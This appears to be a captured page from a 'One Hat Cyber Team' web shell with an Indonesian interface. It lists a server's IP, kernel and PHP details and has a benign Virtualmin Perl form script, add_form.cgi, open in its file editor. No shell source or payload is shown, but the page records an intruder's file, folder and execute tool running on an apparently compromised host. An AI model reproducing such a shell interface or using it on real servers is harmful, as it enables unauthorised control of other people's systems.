⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
virtualmin-htpasswd
/
Edit File: add_form.cgi
#!/usr/bin/perl # Show a form for adding protection to a directory use strict; use warnings; our (%in, %text); require './virtualmin-htpasswd-lib.pl'; &ReadParse(); my $d; if ($in{'dom'}) { $d = &virtual_server::get_domain($in{'dom'}); &virtual_server::can_edit_domain($d) || &error($text{'index_ecannot'}); } &ui_print_header($d ? &virtual_server::domain_in($d) : undef, $text{'add_title'}, ""); print &ui_form_start("add.cgi", "post"); print &ui_table_start($text{'add_header'}, undef, 2); # Domain selector if (!$d) { my @doms = grep { &virtual_server::can_edit_domain($_) } &virtual_server::list_domains(); print &ui_table_row($text{'add_dom'}, &ui_select("dom", undef, [ map { [ $_->{'id'}, $_->{'dom'} ] } @doms ])); } else { print &ui_hidden("dom", $in{'dom'}),"\n"; } # Directory under public_html print &ui_table_row(&hlink($text{'add_dir'}, 'add_dir'), &ui_radio_table("dir_def", 1, [ [ 1, $text{'add_all'} ], [ 0, $text{'add_subdir'}, &ui_textbox("dir", undef, 40, undef, undef, " placeholder=\"$text{'add_tip_under'} @{["e_escape($d->{'public_html_dir'})]}/\"") ], [ 2, $text{'add_subcgi'}, &ui_textbox("cgi", undef, 40, undef, undef, " placeholder=\"$text{'add_tip_under'} @{["e_escape($d->{'cgi_bin_dir'})]}/\"") ] ])); # Authentication realm print &ui_table_row(&hlink($text{'add_desc'}, 'add_desc'), &ui_textbox("desc", undef, 40)); print &ui_table_end(); print &ui_form_end([ [ "create", $text{'create'} ] ]); &ui_print_footer("index.cgi?dom=$in{'dom'}", $text{'index_return'});
Simpan